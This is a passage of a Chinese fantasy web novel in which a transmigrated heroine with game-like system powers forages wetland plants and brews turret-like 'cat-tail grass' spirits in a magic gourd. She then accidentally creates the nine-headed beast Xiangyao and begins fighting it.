这一刻，别说是那只捅了蜘蛛窝的角鹰被吓到了，就连整个角鹰群都有些不安起来，无论是孵蛋的、进食的、猎食的还是睡觉的角鹰，都在此刻抬起头来，警惕地四下张望。 从这样的细节可以看出，这群角鹰还是具有一定智慧的。 可蜘蛛们却不同，不惜身、不畏死，更重要的是——它们似乎被同一个思绪支配，根本不像是单独的生命与个体，而像是某个生命分散的肢体。 因此，当这个“生命”的“肢体”收到损伤后，它勃然大怒，悍然握紧了拳头，向角鹰群狠狠砸下。 ——哇！！ 角鹰群边缘的那只年轻的角鹰，被蜂拥而上的蜘蛛群瞬间撕碎，只来得及发出一声婴儿啼哭般的惨叫，就被撕碎了羽毛咬断了脖子，变成了一堆碎肉块后，又没有丝毫停歇地被蜘蛛们吃下了肚子。 战争打响了！ 没有丝毫预兆，也没有丝毫准备。 但角鹰能成为湿地一大害，自然也不是好惹的，立即也从四面八方向这边冲过来，一边发出大叫，以壮声势，一边试图向蜘蛛发起反攻！ 原本幽暗静谧的湿地瞬间混乱起来，无数惨叫声、血肉被撕碎的声音、进食的声音，以及其它动物跑过来观望甚至是过来偷偷捡漏的声音，纷纷在这块沼泽上奏响。 ——颜辞云和腐烂叶片下的小型生物们，是远远地看着角鹰群和蜘蛛群疯狂互殴的围观人士；而可以上岸又可以下水的水猴子群，则是那个伸手偷偷捡漏的家伙。 颜辞云清楚看到，当某只角鹰身上挂着六七只蜘蛛、被咬得奄奄一息，且不幸地刚巧就在黑湖边上时，那些潜伏在水底的水猴子会立即冒头，伸手抓住角鹰的腿，把角鹰连同它身上的六七只蜘蛛一同拽下水，将它们统统淹死后，再大口吃肉。 颜辞云：这捡漏也捡得太顺手了吧！ 搞得她都想试试了。 倒也不是馋蜘蛛肉和角鹰肉，而是捡漏的快乐真的让人很难拒绝！ 角鹰群和蜘蛛群，打得那叫一个场面血腥、战况混乱，羽毛和蜘蛛腿乱飞。 它们看似是势均力敌，因为它们都有源源不断涌来的支援。 但颜辞云却觉得，角鹰恐怕不久就要落败了。 一来，角鹰虽然团结，但并不像蜘蛛那样像是由同一个思维指挥；虽然勇猛，但不像蜘蛛那样根本就不怕死。 所以，当它们的损失达到到一定程度后，角鹰是必然会后退逃跑的。 二来，投入战场的蜘蛛群，已经开始有个体出现变化了。 在最开始，跟角鹰互撕的蜘蛛，也就是百来斤的肥兔子那样大。它们攻击力不高，防御也不行，被角鹰啄一口就会立即暴毙，如果不是数量实在太多，根本就不可能是角鹰群的对手。 可现在，几乎是普通蜘蛛两倍大的精英蜘蛛出现了！ 它们近三米高，有着如甲胄一样的坚硬外壳，并且色泽艳丽，一看就毒性极强。 当它们出现在战场上时，它们可以一对一轻而易举地击溃角鹰。因为它们的坚硬外壳让它们并不太过惧怕角鹰的尖喙，并且它们口器内分泌的毒素可以轻而易举地麻痹角鹰，让上一秒还威风凛凛的高大角鹰下一秒就变成一块任人宰割的肉块！ 自这些变异蜘蛛出现在战场后，原本胶着的战况几乎立即偏向了蜘蛛群。 而颜辞云也在看到这些变异蜘蛛的第一时间吓了一跳： 错觉吗？这些蜘蛛，怎么跟她最开始在原始森林里看到的蜘蛛护卫那么像？ 在原始森林的苍白巢穴里，颜辞云在发现死去的蜘蛛女王时，就也发现了那些拱卫在蜘蛛女王身边、后随着蜘蛛女王的死亡而死亡的蜘蛛护卫们。 如今，颜辞云竟然又看到了这样的“蜘蛛护卫”？ 那这是不是说明……在湿地某个离她不远的地方，又有一个蜘蛛女王诞生了？又有一个苍白巢穴被悄然建成？ 想到这里，颜辞云有些坐立不安。 不是因为恐惧，而是因为好奇。 颜辞云真的非常好奇，好奇森林里那只被天降唾沫tui死的蜘蛛女王，其真正实力和防御到底有多么强大，而自己对上它后，又有几分优势、几分胜算。 只有知道了这一点，颜辞云才能知道，当初她在森林树上瞧见的那只远去巨鸟的实力到底有多么强大，理解这个世界的高端战斗力到底离谱到了什么地步！ 但好奇归好奇，战意归战意，颜辞云也必须要思考一个非常现实的问题。 那就是以她目前的实力，能打得过蜘蛛女王吗？ 颜辞云在穿越后的这两个多月来，其实都没有进行过什么正经战斗，不是在恃强凌弱，就是在偷摸捡漏。 哪怕是在对上年兽时，也是把年兽带到毕方的领地，等毕方跳出来把年兽打了个半死后，再使用扶桑树外挂，生生把对方刮痧致死的。 总之都是一些邪门歪道。 所以，一般人穿越到原始社会后普遍经历的与强大野兽的生死相搏、血中历练什么的，抱歉那是真的没有。 也因此，哪怕颜辞云这会儿已经从需要仰视蜘蛛女王、被蜘蛛女王的尸体狠狠惊吓的小卡拉米，变成了能俯视蜘蛛女王的大卡拉米，她也只能老老实实扳手指，盘算自己目前手里有哪些能打出的牌。 首先，颜辞云有一套皮革护甲。 颜辞云制作的护甲套装，有两种穿戴方式，第一种很简单，就是直接外穿，把装备往自己身上一套。 颜辞云不常这样穿，因为她没腿，穿不上护腿和靴子。 而如果让颜辞云变回柔弱的人形形态，只为了成功穿上这套护甲值都加不到十点的皮革套装的话，那是万万不可的。 所以，第二种穿戴方式就比较符合颜辞云的心意了，那就是把护甲套装挂在人物界面的装备栏里。 也不知道人物界面里那像素小人的装备栏算什么情况，凡是挂在装备栏里的物品，都像是直接在颜辞云身上增加了某种概念。 既不会受到颜辞云当前形态和体型大小的影响，也不会在颜辞云身上显露皮甲的外观，而只有人物界面的【护甲值+8.5】和颜辞云皮肤上一层薄而透明的“保护膜”昭示着它的存在。 这比直接套身上方便多了！ 所以，在做出皮革护甲套装后，颜辞云就直接把它挂在了装备栏里，没再取下过。 即便颜辞云至今都不太清楚【护甲值+8.5】到底算什么程度，但有总比没有好吧！ 这便算是颜辞云手里的第一张牌。 而颜辞云手上的第二张牌，当然就是武器邪龙噬雷枪和八方神火鞭。 钻石斧和钻石镐甚至玩家初始装备小锤子，或许一定程度上也能算“武器”，但那太寒碜了暂且不提。 总之，邪龙噬雷枪可以施云布雨，重要的是它可以引雷劈人，所以颜辞云常常用它。而哪怕这把枪里的能量用光了，颜辞云也可以直接用它来施展打狗棍法，抡起长枪当棍子，哐哐就是砸。 八方神火鞭就麻烦一点，因为颜辞云目前不太会用鞭子，只会很普通的挥鞭，收鞭。 动作慢，破绽大。 如果不能提前找个好欺负的练练手、试试底，颜辞云是不太敢用八方神火鞭对上那密密麻麻的蜘蛛群的。 至于颜辞云手上的第三张牌，就是她通过吞噬技能得来的能力。 lv1的【蛛魄】，让颜辞云有了深入蜘蛛群而不受它们的敌视和攻击的能力； lv18的【木·龙魄】，则让颜辞云有了催长植物、甚至命令植物为自己作战的能力； lv20的【火·毕方】，让颜辞云可以号令火焰； lv18的【龙形】更是让颜辞云拥有了急速飞行能力和强悍的体魄，让她既可以快速进入战场，打个滚都能压死一堆敌人，也让她在不能力敌时迅速逃跑。 这些能力，看起来都很强大，但当颜辞云面对自己穿越后遇到的第一个（死）BOSS时，颜辞云心里总是下意识忐忑不安、下意识觉得自己的准备不够充分的。 而且，也不知道是颜辞云太过杞人忧天，还是受木龙龙魄的影响太大，或者干脆是换季时火烧森林给她留下的心理阴影太深，每当颜辞云盘算自己的攻击手段时，她会下意识将带火的能力的优先度调到最低。 放火烧山这种事，是真的不行啊！ 虽然颜辞云觉得这片湿地很烦，不太喜欢这片湿地，但如果跟蜘蛛女王打起来后一把火把这湿地烧了，颜辞云也是会很愧疚的。 所以…… 只要她先收集一些湿地特色种子，再在放火掉烧蜘蛛女王后，用这些种子把湿地生态恢复到之前的样子……这总该可以吧？ 顺便，还能继续给她辨识百草的任务刷进度呢！ 颜辞云思考了两秒，点头： 没问题，就这么干！ 第42章 精怪 她对付蜘蛛女王的秘密…… 接下来的一段时间，颜辞云就提着自己的长镰刀，在沼泽湿地里游来荡去。 凡是能采集的，她也不管有用没用，统统采了，而不能采集的，颜辞云也要上手扒拉一下，瞧着还算干净的直接咬一口，不干净的那就洗洗再咬一口。 而就是这样一拍脑袋的胡搞瞎搞，还真叫颜辞云瞎猫碰上死耗子，尝百草任务瞬间开上快车道，没一会儿就把任务进度推到了37%，并且还真的搞到了几个奇特的东西。 【莲藕：蔬菜，可食用，也可种植。】 哇！好！ 终于搞到她喜欢吃的了！ 颜辞云迅速收割，看着物品栏里数量暴增的【莲藕】，心满意足，决定回头就把它们种湖泊群系里，日后就不用再来这烦人的沼泽里找藕了。 【香蒲：水生或沼生草本植物，有多种用途。】 【味甘，平。其嫩芽鲜美，可食用，花粉可入药，叶草可编织，或制作纸张。】 连续看到三种能做纸张的植物，颜辞云的心情也淡定了下来。 而又因为颜辞云对编织没什么需求，于是便干脆把它塞进制作台，想看看这香蒲能炼出个什么药来。 【蒲黄：气微，味淡。可凉血活血，止血止痛。】 从制作台上，颜辞云拿到了一把【蒲黄】。 但这蒲黄的描述，却让颜辞云有些惊讶：止痛止血？ 听起来有点厉害呢！ 试试看？ 颜辞云用镰刀小心地……用力地在自己手指上割了道口子，再把刚刚得到的一把蒲黄撒上去，好奇看这蒲黄的功效如何。 一秒，两秒，三秒。 颜辞云搓了搓有些发痒的指尖，发现伤口愈合了。 不过，颜辞云倒不是很确定这样的愈合，到底是蒲黄药效极好、药到病除，还是作为小怪兽的她自愈力就是这样强。 还是得有个对照实验！ 这样想着，颜辞云又在自己的另一根手指指尖割了道口子。 她看着一滴鲜红的血液从伤口轻轻渗出，没忍住舔了舔。 而等颜辞云舔完，她的伤口也愈合了。 颜辞云：“……” 行吧不搞这些有的没的了。 还是做点好吃的吧。 穿越的这两个多月来，她还是第一次吃蔬菜呢！ 想到这里，颜辞云毫不含糊，拿出自己的青红小葫芦，就地取材，把刚刚采集的香蒲、莲藕，甚至是莲叶都塞了进去，盖子一合，等待开餐。 一个三十秒过去了。 两个三十秒过去了。 颜辞云盯着迟迟没有结束炼制的小葫芦，陷入微妙沉默。 好消息：新东西来了！ 坏消息：吃的没有了！ 颜辞云怎么都想不通，莲藕加香蒲加荷叶，这个组合怎么看怎么都应该是蔬菜杂烩才对。 可这个组合怎么就能往外蹦新东西呢？ 按照颜辞云的经验，这次新东西估计炼制的时间也不短，颜辞云便也就没有干等着，继续开始自己的采集大业。 【祝馀：一种长得像韭菜的草，食用后可增加大量饱腹感。】 颜辞云看着这把祝馀，心里颇为微妙，原本还觉得这草味道还行的她再也不想多吃一口了。 毕竟——想一想吧，光吃草就能饱的，那不就是牛马吗？ 哦……对了，还有减肥人士。 行吧，有草啃总比没草啃好，洗洗放锅里煮就是一顿青菜。 颜辞云把祝馀草塞进自己的物品栏。 【薲草：形状像葵菜，味道像葱，食用后可忘却忧愁、治疗精神疾病。】 颜辞云尝了一口。 忘却忧愁治疗精神疾病什么的，颜辞云没感觉到，可能是因为她本就没什么忧愁。 倒是这味道，确实是葱的味道，而且是辛辣的大葱的味道。 颜辞云看着目露欣慰之色：好的以后你就叫大葱了。 从今以后，被颜辞云嫌弃的烤肉又有了新吃法！ 【茭笋：蔬菜，可食用。】 【菰米：谷物，可食用。】 天呐，看她采集到了什么！ 谷物？真的是谷物！ 虽然这菰米看起来黑不溜秋，还又细又长，咋看之下有点儿像是某种虫子……但是！这可是谷物啊！！ 她都有多久没吃过谷物了？！ 这一刻，颜辞云的心情近乎是感动的，并且想要把这片植物移植到树屋附近的心情也是空前强烈！ 谷物这种东西，吃的时候只觉得平常，甚至往往觉得没滋没味、觉得它远不如肉好吃。 可当真的吃不到的时候，人才会明白谷物到底有多么珍贵，也才明白人是真的很难离开碳水。 颜辞云盯着自己物品栏里的菰米，一种前所未有的饥饿感在她的胃里翻滚。 明明颜辞云在出门前就吃了个饱饭，一路上吃吃喝喝也不少，可偏偏一种心理上的饥饿裹挟着她，让她恨不得立即丢下手上的一切，掉头回到树屋，给自己先做一顿米饭吃下，再说其它！ 但，还好，颜辞云到底按捺住了这样的冲动，没有干出刚出门冒险就回家吃饭的事，沉着地将附近的菰全部收割，准备等到冒险结束后，再统一安排准备移植的作物。 【茭笋】X10 【菰米】X60 到底是野生作物，数量本就不多，产量还不高，哪怕颜辞云把附近都转了一圈，也只收集了10斤的茭笋和60斤菰米。 颜辞云拿出永鲜袋，甚至都不需要把肉干拿出一些，而只要把这些肉干挤一挤，就能腾出放茭笋和菰米的空间。 到了这时，湿地上角鹰与蜘蛛的大战，也已经告一段落。 就如同颜辞云所想的一样，角鹰群落败，丢下一大堆尸体后，抛弃领地，仓皇而逃；蜘蛛群大胜，一边清理战场、吞吃角鹰甚至同类的残骸，一边探索着它们到手的新领地。 而这时，颜辞云的青红小葫芦，也终于落下了。 颜辞云接过自己的小葫芦，正打算打开，但下一秒，她目光一凝，眉头微皱，总觉得这葫芦的颜色似乎有了点奇怪变化。 像是……更鲜艳一些了？ 颜辞云盯了又盯，数秒后，系统注释弹出： 【水火炼葫（+1）：汇聚了水火两炁、并得到持续蕴养的葫芦，虽然自身无法食用，但如果拿它炼制些什么，或许能得到些意外惊喜。】 哟，这个“+1”是“精炼度+1”的意思是吧？ 没想到你个浓眉大眼的系统也开始来这招传说级别的氪金大法……哦，这系统不能氪金啊。 那精炼度似乎是靠她“蕴养”上去的？ 那没事了，是个老实系统。 颜辞云喜滋滋地摸了摸自己的小葫芦，想着日后果然还是得多用它炼点东西。 不用花钱的装备养成和装备升级，就是这么让人开心！ 而等喜悦告一段落后，颜辞云终于打开小葫芦，定睛一瞧，而后一愣。 这一刻，颜辞云似乎有些明白自己的小葫芦为什么会升级了。 【猫尾草（精怪）：一种长得像猫咪、尾巴可以发射毒刺的草，介于植物和动物之间，只能栽种在湿地或水域里，栽种后无法移动。】 【攻击力：E】 【攻击范围：D】 【攻击速度：D】 【防御力：E】 【繁殖力：无】 【寿命：E】 颜辞云万万没想到，自己只想要做一锅蔬菜杂烩、往水火炼葫里丢进了几个再普通不过的蔬菜，结果最后给她蹦出了一只……精怪？ 认真的吗？精怪？ 还有繁殖力寿命什么的……这到底算是个什么东西？ 抱着极大的困惑不解，颜辞云就近找了片水域，把这猫尾草栽在水边。 而几乎在栽下的瞬间，猫尾草立即舒展起来，长着尖刺的尾巴也高高翘起，然后—— BIUBIUBIU！ BIUBIUBIU！ 在颜辞云目瞪口呆的注视下，这攻击性超强的猫尾草瞬间发射了无数尖刺，三两下就把附近游荡的生物统统鲨了！ 水里游的鱼？鲨了！ 岸边爬的水猴子？鲨了！ 岸上扫荡的蜘蛛？ 不用想，一样鲨了！ 但是，不同于其它单打独斗的小动物，蜘蛛可是有非常独特的“群体仇恨”的！ 因此，当第一只蜘蛛死在猫尾草的毒刺下后，原本因成功驱逐角鹰而变得漫无目的蜘蛛群，立即锁定了水边的猫尾草，无边无际的蜘蛛再次蜂拥而来！ 颜辞云看着这一幕，哪怕知道这些蜘蛛群的目标不是自己，也同样紧张了一瞬。 这是对高数量敌对生物的下意识警惕，也是对自己身旁猫尾草的担忧。 该说不说，颜辞云甚至有一瞬间想要把这猫尾草挖走，换个地方栽下，以拯救它的小命。 但，再次出乎颜辞云意料的是，猫尾草的攻击速度，真的超强！ 别看它的攻击速度在系统评级只有D，但事实上，作为小怪兽的颜辞云，攻击力也是在龙形升上lv15后才达到的C。 由此可见，系统的能力评级里，每个等级之间，跨越都是非常大的。 所以，颜辞云是万万不该小瞧这猫尾草的。 它可不是什么简单的“草”，而根本是长得像猫咪的机关枪！ 于是，站在猫尾草旁如同喽啰的颜辞云只听—— BIUBIUBIUBIU！ BIUBIUBIUBIU！ BIUBIUBIUBIU！ 蜘蛛一群一群地来。 蜘蛛一群一群地死。 在颜辞云眼睁睁的注视下，那些仗着数量优势把角鹰打得落花流水的蜘蛛们，竟被这弱小无辜、可怜可爱的猫尾草以一围众，打得落花流水、溃不成军！ 就连那看起来危险又强大的蜘蛛护卫，也不过挨了猫尾草的十下毒刺，就倒地暴毙，死得不能再死！ 如果不是这猫尾草的寿命太短，在不到五分钟的时间就完成了生长-死亡的过程的话，颜辞云相信，这只猫尾草，绝对有凭以一己之力围剿这一整个蜘蛛族群的实力！ ——这就是水火炼葫出品的“精怪”吗？ 原来这样强悍的生命，就叫做精怪？！ 这一刻，颜辞云看着自己手里的小葫芦，心下大喜。 好好好，她对付蜘蛛女王的秘密武器，终于登场了！ 第43章 相繇 “这一点都不合理！”…… 颜辞云准备炼它十七八个猫尾草，找到蜘蛛女王的巢穴后，把它们往蜘蛛女王身边一栽，之后听它们BIUBIUBIU就完事了。 哇，这样想来，这不就是塔防游戏吗？？ 这样想着，越发开心的颜辞云提着自己的小镰刀，勤勤恳恳又开始采集了。 猫尾草的配方是【2香蒲+1莲藕+1荷叶】，其中莲藕和荷叶都好找，这边沼泽的黑湖上多着呢。 可香蒲就有些麻烦了。 它们的数量实在少，本就被大片大片的芦苇挤占了生存之地，现在颜辞云又要把它们连根拔起塞进水火炼葫里做猫尾草……那颜辞云来年的茭白和菰米怎么办？？ 竭泽而渔不可取。 颜辞云干脆以就近原则，选中了自己身边这块黑湖，一口气拔掉那些疯长的芦苇，又清理掉湖里湖外被猫尾草狂BIU的尸体后，就开始狂种香蒲，没一会儿就把整块湖泊都种满了。 这些由颜辞云出品的香蒲，算是“改良品种”，比之前的野生香蒲长势可要旺盛多了。 因此，当颜辞云又一次以同样的配方炼猫尾草时，她得到了不同的结果。 【猫尾草·一代改良版（精怪）】 【攻击力：E+】 【攻击范围：D】 【攻击速度：D】 【防御力：E】 【繁殖力：无】 【寿命：E+】 颜辞云定睛一看，惊喜发现这次炼制出来的猫尾草，不但多了个“一代改良版”的后缀，就连攻击力和寿命也多了个加号！ 原来，这炼制的精怪的实力，竟然是会随着她投入材料的好坏而上下波动的吗？ 颜辞云先是觉得惊奇，但仔细想想，又觉得合理： 越好的材料出越好的东西，这不是理所当然的吗？！ 那……如果她持续改良香蒲、改良莲花的话，她得到的猫尾草，是不是实力也会持续走高？ 好好好，水火炼葫这个玩具是越来越好玩了！ 颜辞云开开心心地改良手上的香蒲和莲花，不再是批量催长了，而是非常精细地按照它们嘀咕的小话，精准改良。 自从吃掉木龙龙魄后，颜辞云只要仔细聆听，其实是能听懂植物们的呼吸和话语的。 不过，这并不代表植物有自己的智慧，因为植物们说的“话”都是一些非常本能的东西，比如说“饿了”、“渴了”、“水太多了”、“太冷了”、“肥料太多要烧死了”之类。 严格来说，颜辞云觉得并不是植物会说话，而是她吃下的木龙龙魄承当了语言转换器的作用，将这些植物发射的信号转化为了颜辞云能够听懂的“语言”。 所以，平时的颜辞云都是晃晃脑袋，把这些“语言”又变回了“信号”，若非必要，懒得听。 不过嘛，现在的颜辞云可要好好听、仔细听！ 香蒲&莲花：“好冷呀，我非要在这个季节长吗？” 颜辞云：放心，不冷。 颜辞云伸手向湖泊上空一指，瞬间挂起一团金红烈火，令它充当起了太阳。 于是，很快的，二代改良品种迅速落成。 颜辞云一边种三代改良香蒲改良莲花，一边炼制改良猫尾草二代。 一小时后，三代改良植物即将落成，而二代改良猫尾草也新鲜出锅了。 【猫尾草·二代改良版（精怪）】 【攻击力：D】 【攻击范围：D】 【攻击速度：D+】 【防御力：E】 【繁殖力：无】 【寿命：E+】 这一次改良的两个加号，落在攻击力和攻击速度上。 要颜辞云说，这猫尾草的攻击力和攻击速度本来就挺可怕了，万万没想到它竟然还能继续升？ 厉害了，她的小猫！ 但颜辞云觉得这猫尾草的等级还能继续往上升！ 之后，整整一个白天加一个黑夜，颜辞云都在勤勤恳恳种地、改良、炼制。 就连吃饭都没舍得占用她的葫芦小菜锅，而是就地搭了个烤架，再把之前镰刀采集的角鹰肉、水猴子肉甚至是蜘蛛肉，都统统摞在地上，让小白自己看着做。 ——是的，颜辞云觉得，养猫千日，用猫一时，是时候让小白这个除了吃吃喝喝就是满地打滚的小猫咪来养她这个主人啦！ 小白自然十分震惊，打滚卖萌后，无果，只能一边委屈嘤嘤一边乖乖烤肉。 但这样的委屈很快在薲草、不，在大葱包烤肉的扑鼻香气和辛辣美味下遗忘了。 于是，颜辞云便一边照看自己的改良植株，一边坐等小白上贡，时不时根据植物们的小话调整一下光照和温度，再往黑湖里头丢点腐叶土当肥料。 也还好在植物的催长期间，它们会疯狂地抽取生长之地的一切养分，等于肥料丢进去就能即时生效的，否则这片黑湖还真不知道能不能禁得起颜辞云的持续祸害。 就这样，随着植株改良了三代、四代、八代，猫尾草叶随之改良到了三代、四代、八代。 在这几代的迭代和改良里，猫尾草的存活的时间和种下后长成的外观，都发生了极大变化，到了第八代时，猫尾草发射毒刺的尾巴竟然变成了五条，一眼看过去倒像是长了五条尾巴的猫。 只不过，改良到八代的猫尾草，能力却没有颜辞云最初期待的那样厉害，因为八代猫尾草中好几代的改良，竟只有外观上的变化而没有实际上的属性改变！ 这让颜辞云不由思考这猫尾草的进化是不是已经达到了极限。 好材料出好东西，的确是理所当然，可再好的木头，也炼不出铁呀！ 上限就在那儿摆着呢，也不能太过强求。 这样想着，颜辞云决定把猫尾草培育到九代就停手，不再继续向上进化了。 而那些改良植株的种子，也刚好可以留在她手里，看日后被她移栽到哪个风水宝地。 但是，颜辞云安排得虽有条理，可在颜辞云准备炼制猫尾草的九代改良版之前，一个令颜辞云瞠目结舌的意外发生了—— 沼泽黑湖里那种到九代的改良版香蒲和改良版莲花，竟然长出了超大型的作物！ 二十斤一片的荷叶，五十斤一截的莲藕，和近一百米高的香蒲！ 颜辞云眼睁睁看着那香蒲在进入成熟期后，越长越高，越长越高，最后甚至长得比她这个小怪兽还高，唯有她变化成龙形后才能压这香蒲一头。 颜辞云看着这巨大得简直能称一声怪兽的植物，有些懵了：这是普通水里能长出来的普通东西？ 开什么玩笑！ 别是这里头有息土吧？ 颜辞云觉得一定是这样得，于是忍着黑湖的肮脏，下水找了一圈，又是用镰刀采集又是用手摸和系统鉴定。 但没有。 这片黑湖的水下，只有一层普普通通平平无奇的淤泥，既没有破限神器息土，也没有其它的什么天才地宝。 所以，真的没有除颜辞云以外的力量帮助。 这香蒲和这荷叶和这莲藕，原来真的靠它们自己——以及颜辞云的改良催长——就长到了这么大！！ 颜辞云爬上岸后，看着自己面前这些一个比一个长得离谱的植物，呆愣了好一会儿，感到自己的世界观被刷新了一遍又一遍。 而等颜辞云回过神后，她的第一想法是：这么神奇的植株，得炼制出怎么厉害的猫尾草呀？ 就连香蒲和莲藕，都突破了它们的自身极限，那炼制的猫尾草，肯定也能破限了吧？！ 不过，她的水火炼葫能塞进这四十五斤、一百来米的东西吗？ 颜辞云忍不住把自己的水火炼葫取出，试了试。 ——还真的可以！ 只见，随着颜辞云将两株百来米高的香蒲、一张长得超大的荷叶，和一根沉甸甸的莲藕，分别放入水火炼葫的炼制格子里后，颜辞云掌中的青红葫芦盖子自动打开，四缕青烟幽幽飘入。 旋即，那盖子又自动合上，水火炼葫再次漂浮起来，开始了炼制。 一切看似如常，但眼尖的颜辞云却发现，这一次的水火炼葫的外头，竟还环绕着一层淡淡青光！ 这是之前从来没有过的事，哪怕是炼制赶山鞭时也没有过。 颜辞云看着，越发觉得这次葫芦炼出的东西不同凡响。 毕竟，那五十来斤一截的莲藕和百来米一根的香蒲，之前也从没见过啊！ 颜辞云耐心等，等啊等，等到小白把颜辞云堆在一旁的鲜肉全部偷偷烤完吃掉后，那小葫芦才终于气息一敛，落了下来。 而这时，已经过去了三个小时！ 颜辞云拾起这小葫芦，不出意料地发现它的颜色又鲜艳了一些，在系统评级里也从“+1”来到了“+2”。 颜辞云摸了摸自己的小葫芦，心里满是喜悦，但却又忍不住地想：如果自己能再多几个这样的小葫芦就好了。 也不贪心，多两个就行。 一个专门用来做菜，剩下的两个左右开弓，同时炼制自己需要的东西，比如说猫尾草什么的。 这样一来，她日后再炼精怪的话，得有多省事啊！ 颜辞云决定回头好好照料一下那根葫芦藤。 虽然系统说，这水火炼葫是水葫芦藤上的水葫芦被毕方烧过后，这才发生了的某种性质上的改变。 但谁说如今的风火两济葫芦藤，就结不出好用的风火葫芦呢？ 这样想着，颜辞云开开心心地打开盖子，低头一瞧。 下一秒，颜辞云的笑容就僵在了脸上。 【相繇（凶兽·可驯养）：九首蛇身，食于九土，可吞吐毒液，所到之处，尽成泽国。】 【攻击力：B】 【攻击范围：C】 【攻击速度：D】 【防御力：B】 【繁殖力：无】 【寿命：S】 颜辞云失去表情。 颜辞云绝望抱头。 “我猫呢？我那可可爱爱五条尾巴会喵喵叫的猫呢？！” 颜辞云对蛇没有偏见，但对蛇身上长九个脑袋的怪蛇很有偏见！ 特别是当它的前身是一只超可爱小萌物的时候！ “就算是超进化，难道不该是九尾猫吗？怎么突然就变成了凶兽？还是这么丑的凶兽？” “这一点都不合理！” 第44章 处置 龙从云海跃天门 痛失小猫草的颜辞云沮丧地回到湖泊群系处，找了块干净的湖泊，游进湖中，拔下神凤辟邪簪，散开长发，开始清洗自己那头在沼泽黑湖淤泥里钻进钻出过的头发。 一边洗，颜辞云一边思考接下来的事。 首先，是被她炼制出来的凶兽相繇的处置问题。 相繇即叫做凶兽，还特意写着“可驯服”，想来正常状态下的它不是什么好相与的角色，颜辞云如果要将它放出，那就要做好被它反噬、大打出手的准备。 那么，相繇的能力如何？ 系统给出的评级是攻击力B、防御力B。 而颜辞云如今的属性五维图是： 【攻击：B】 【速度：B】 【洞察力：D】 【回气能力：D】 【临阵突破：E】 其中速度B的评级，是颜辞云【龙形】升到lv15时给的，攻击B更是前两天【火·毕方】升到lv20时才拿到的。 由此可见，相繇的实力，与颜辞云的实力，或许就是菜鸡互啄？ 这样一来，颜辞云或许还真的把相繇放出来，试着驯服一下，然后带着宠物去打怪？ 逻辑很通畅，前提是真的得成功驯服相繇才行。 所以，在这里，颜辞云又进入了下一阶段的思考——怎样增加自己驯服相繇的成功率？ 或者说，怎样增加自己对上相繇时的胜率？ 颜辞云第一个想到的，就是把相繇丢冰原上。 冰原实在是个好地方。 那里没有植物，没有动物，不怕污染，并且一望无际，脚下全是大冰块，实心的——曾经从海底两万里一路挖上来的颜辞云对此很有发言权。 所以，在被丢到冰原后，除非相繇也会飞，否则它就只能当个大靶子，乖乖待在原地等颜辞云的输出。 脑中想着那只九头的大蛇在冰原上一步三滑，一小时走十万步也没走出三米开外，最后只能躺在冰块上仍由蹂躏的模样，颜辞云就不由得笑出声来。 可很快的，颜辞云否定了这个念头。 原因很简单：那冰原虽然有可能克制相繇，但也同样不是颜辞云能全力发挥实力的地方。 如今颜辞云手上最强的攻击手段就是火。 而冰原这个地方，气温太低，不方便颜辞云汇聚火炁。 并且可以想象的是，当颜辞云一把大火烧下去，高温的火焰除了烧相繇之外，还会把相繇身下的一大块冰原都化作湖泊。 这样一来，只要相繇熬过被火烧的前期，等它身下的冰原都化作湖泊后，它岂不是就自动过渡到了优势阶段？ 所以，颜辞云很快排除了这个错误选项，并从脑海里选出了真正的优势之地： 扶桑木所在的沙海深处！ 当初，在扶桑木这个天降外挂的帮助下，颜辞云连那样皮糙肉厚的年兽都用扶桑木的叶片磨死了——虽然只是磨掉了最后的一万血——难道她还会怕相繇的区区防御B？ 小小相繇，必然拿捏！ 说干就干，颜辞云洗干净头发，轻甩两下，再用神凤辟邪簪将干透的长发挽起。 接下来，颜辞云把小白叫来，叮嘱它家长现在要出门有事，让它原地先等一会儿，没事干的话就把附近的湖泊种上荷花。 小白听得一双大眼睛瞪得圆溜溜的，白色爪爪指着自己：啊？我吗？ 让它这样一个可可爱爱的小老虎没事去把附近的两亩地种了？ 真的假的？ 颜辞云摸了摸小老虎的脑袋，怜爱道：“傻孩子，谁叫你把接下来三天的肉都偷吃了呢？” 不但是颜辞云从鹰蛛大战战场上采集到的鲜肉怪兽肉，甚至就连颜辞云原本准备留种移栽的大葱——不，薲草，不算了就叫它大葱——都被这只小猫咪偷偷摸摸吃光了。 你说你不种地谁种地？ 小白老虎一下子变得目光飘忽起来，开始低头舔毛。 颜辞云很懂：尴尬的小猫咪往往都会假装自己很忙。 由于九代的巨型作物没能留下种子，颜辞云便抬手放下改良到八代的莲子，向小白笑眯眯道：“那么，就这么说好了哦！” 小白有气无力：“咪呜……” 把小白丢在湖泊群系种荷花后，颜辞云化身为龙，一路风驰电掣来到沙漠深处，在扶桑木上停住，徐徐落下。 扶桑木枝叶摇动，像是欢迎又像是依恋，看得颜辞云忍不住笑了起来。 “接下来又要麻烦你了，小桑！” 颜辞云凝聚出了一大团金红火焰，丢给扶桑木，算是战前开餐。 而一直等到扶桑木轻摆枝叶，不再去吸收火焰后，颜辞云才终于从自己的物品栏里拿出水火炼葫，飞到一个距离扶桑木不远不近的地方，打开盖子，向下一倒。 下一秒，黑烟从葫芦口缓缓游出。 起初，那黑烟十分细小，几乎难以被肉眼捕捉，哪怕在空中飘散了，恐怕都没有人会察觉到。 但渐渐的，它越来越浓郁，越来越庞大，越来越骇人！ 它化作了一团巨大的、游动的乌云，无声落在地面，不安地涌动着，边缘时凹时凸，像是有什么可怕的东西在其中孕育，不时就要破壳而出！ 颜辞云看着这一幕，迅速把水火炼葫塞回物品栏，同时向扶桑木的方向飞近了些，停在一个进可攻退可守的位置。 颜辞云没有主动发起攻击，因为哪怕相繇的定位是凶兽，也不能排除它是友方的可能。 比如说它的前辈猫尾草，那就是一个满脑袋杀杀杀、性格超凶却不会攻击她这个主人的可爱小猫咪。 所以，谁说作为凶兽的相繇，就不能是个乖乖小可爱了？ 颜辞云想到系统描述里的“蛇身九头”，颜辞云坚强地对这个“乖乖小可爱”抱着相当的期待之心。 但让颜辞云失望了。 相繇不愧是系统钦定的“凶兽”！ 几乎在黑雾散去的第一时间，厉风与尖啸响起，九个头颅挣出雾气，可怕的黄色蛇瞳几乎瞬间锁定了飞在天上的颜辞云，而后九个头颅齐齐张嘴，九道黑水便如利剑射来。 那黑水腥臭无比，甚至好似是由无数冤魂构成的，在空中飞行的路上发出鬼哭狼嚎的哀叫，并且飞快扩撒，当来到颜辞云面门前时，更是已经化作了一片恶臭的水泽，轰隆袭来！ 颜辞云：“……” 